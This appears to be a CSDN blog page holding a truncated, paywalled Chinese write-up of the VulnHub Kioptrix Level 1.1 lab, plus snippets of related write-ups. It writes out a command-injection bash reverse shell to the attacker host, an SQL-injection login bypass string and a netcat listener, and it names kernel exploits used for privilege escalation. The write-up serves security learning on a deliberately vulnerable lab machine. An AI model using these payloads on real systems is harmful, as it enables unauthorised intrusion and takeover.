Kioptrix: Level 1.1 (#2) -VulnHub靶机学习记录

最新推荐文章于 2024-02-17 21:12:30 发布
最新推荐文章于 2024-02-17 21:12:30 发布
阅读量474 收藏 1
点赞数
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45509443/article/details/106849489
版权
本文记录了一次针对Kioptrix Level 1.1靶机的学习过程，包括主机发现、端口扫描、通过SQL注入获取登录权限，之后利用命令执行反弹shell到Kali攻击机。在非root权限下，尝试使用已知exploit（9542.c和9545.c）进行提权，最终通过在靶机上编译执行9545.c成功提权，并重置root密码完成挑战。
摘要由CSDN通过智能技术生成

环境：靶机：192.168.1.107   kali：192.168.1.106 

主机发现

端口扫描

浏览器登录80端口，发现登录页面，尝试sql注入绕过密码登录

成功进入，经典ping命令,存在命令执行

kali 开启监听，nc -lvp 6666, 靶机执行命令：127.0.0.1&bash -i >& /dev/tcp/192.168.1.106/6666 0>&1,反弹shell到 ka

最低0.47元/天 解锁文章
mysqltty
关注
KIOPTRIX: LEVEL 1.1 (#2)
logan_logan的博客
12-19 215
KIOPTRIX: LEVEL 1.1 (#2) 1.在浏览器输入地址，打开网页发现是一个登录框；接下来进行信息收集； 2.信息收集 2.1端口扫描 使用nmap工具发现可以枚举很多的端口，后面因为找到了其它漏洞就没有进行尝试； 2.2目录枚举 使用gobuster工具进行枚举，但是没有什么帮助； 3.漏洞探测 3.1 登录框存在sql注入漏洞，使用万能密码 admin’ or’1’=’1可以登录； 3.2 对登录之后的界面进行探测的时候发现存在命令注入漏洞； 4.漏洞利用 4.1 反弹she
KIOPTRIX: LEVEL 1.1-VulnHub靶机学习第三篇
qq_27466929的博客
08-25 878
VulnHub靶机学习第三篇：KIOPTRIX: LEVEL 1.1
Vulnhub-靶机-Kioptrix: Level 1.1 (#2)
qq_43264813的博客
01-28 441
Vulnhub—靶机—Kioptrix: Level 1.1 (#2) 本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关 地址:https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ 文章目录Vulnhub—靶机—Kioptrix: Level 1.1 (#2)一、信息收集二、漏洞利用三、Flag 一、信息收集 【步骤一】对目标靶机进行全端口扫描： 【命令】nmap -n -sC -sV
oscp——Kioptrix: Level 1.1 (#2)
王嘟嘟的博客
02-20 1278
0x00 前言 第三十二台机子 0x01 信息收集 0x02 Web80-webshell 访问页面之后发现是一个登录页面，这种页面看起来就像是一个SQL注入，试一下万能密码 成功进入后台，可以看到是一个执行ping命令的执行窗口 这里反弹一下shell，这里使用 bash -i >& /dev/tcp/192.168.0.111/1234 >&1 然后在/...
vulnhub Kioptrix: Level 1.1 (#2)
箭雨镜屋
11-19 2668
本文的攻击路径是：端口扫描-->万能密码web登录-->RCE获得反弹shell-->系统版本漏洞提权
Kioptrix_Level_1
12-30
Download from https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
KIOPTRIX: LEVEL 1.3-VulnHub靶机学习第五篇
qq_27466929的博客
09-11 1259
VulnHub靶机学习第二篇：KIOPTRIX: LEVEL 1.3
KIOPTRIX: LEVEL 1-VulnHub靶机学习第二篇
qq_27466929的博客
08-23 536
VulnHub靶机学习第二篇：KIOPTRIX: LEVEL 1
KIOPTRIX: LEVEL 1.2-VulnHub靶机学习第四篇
qq_27466929的博客
09-04 1086
VulnHub靶机学习第二篇：KIOPTRIX: LEVEL 1.2
Kioptrix: Level 1.1 (#2)
战神/calmness的博客
06-04 1084
下载地址：https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ 目标机器：192.168.243.147 攻击机器：192.168.210.134 目录 信息收集 万能和密码破解 命令执行 反弹shell 监听 提权 版本内核 linux 2.6.9 信息收集 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3.9p1 (proto...
Vulnhub-靶机-Kioptrix: Level 1 (#1)
qq_43264813的博客
01-28 667
Vulnhub—靶机—Kioptrix: Level 1 (#1) 本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关 地址:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ 文章目录Vulnhub—靶机—Kioptrix: Level 1 (#1)一、信息收集二、漏洞利用三、Flag 一、信息收集 【步骤一】使用nmap确定目标靶机地址： 【命令】nmap -sP 192.168.4
Vulhub靶场-KIOPTRIX: LEVEL 1.1
B_l_a_nk的博客
11-19 365
万能秘密，命令执行，内核漏洞提权
Kioptrix Level 1~4
最新发布
cht6667的博客
02-17 900
Kioptrix Level1~4打靶笔记
vulnhub Kioptrix: Level 1 (#1)
箭雨镜屋
11-16 1583
本文使用的方法是利用apache mod_ssl 2.8.4的Remote Buffer Overflow漏洞（CVE-2002-0082）getshell并拿到root权限
Vulhub靶场 --- Kioptrix: Level 1.1 (#2)
m0_52072483的博客
01-26 222
Vulhub靶场 — KIOPTRIX: LEVEL 1.1 nmap扫描端口信息 dirb 扫描目录信息 在登录页面使用PHP的万能密码尝试登录，且登录成功 登录成功的页面是一个可以ping的远程命令执行 获得shell 查看系统信息 查找是否存在可利用的漏洞 提权成功 ...
kioptrix.level1 -VulnHub靶机学习记录
weixin_45509443的博客
06-16 572
1.
vulnhub 靶机 Kioptrix Level 1渗透笔记
weixin_52268949的博客
03-03 5510
靶机下载地址：https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ kali ip 信息收集 先使用nmap收集目标的ip地址 nmap -sP 192.168.101.0/24 扫描开放端口 nmap -A -p- 192.168.101.20 这时我们发现samba的绑定服务器的139端口我们使用msf探测一下他的版本 msfconsole msf6 > use auxiliary/scanner/smb/smb_version
vulhub - Kioptrix: Level 1.1 (#2) writeup
Jiajiajiang_的博客
12-12 762
主机来源：www.vulnhub.com 下载地址：https://download.vulnhub.com/kioptrix/Kioptrix_Level_2-update.rar 发现IP 安装成功后，查找此虚拟机的IP，我使用的是netdiscover netdiscover -i eth0 -r 172.21.137.0/24 找到IP为：172.21.137.47 端口...
Kioptrix Level 1.2 (#3)靶机攻破：信息收集与权限提升
"Kioptrix: Level 1.2 (#3) 是一款Vulnhub靶机，用于网络安全和渗透测试练习。靶机IP为192.168.190.189，需配置host指向kioptrix3.com。攻破靶机涉及信息收集、漏洞利用、GETShell以及提权等技能，主要工具包括dirb...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值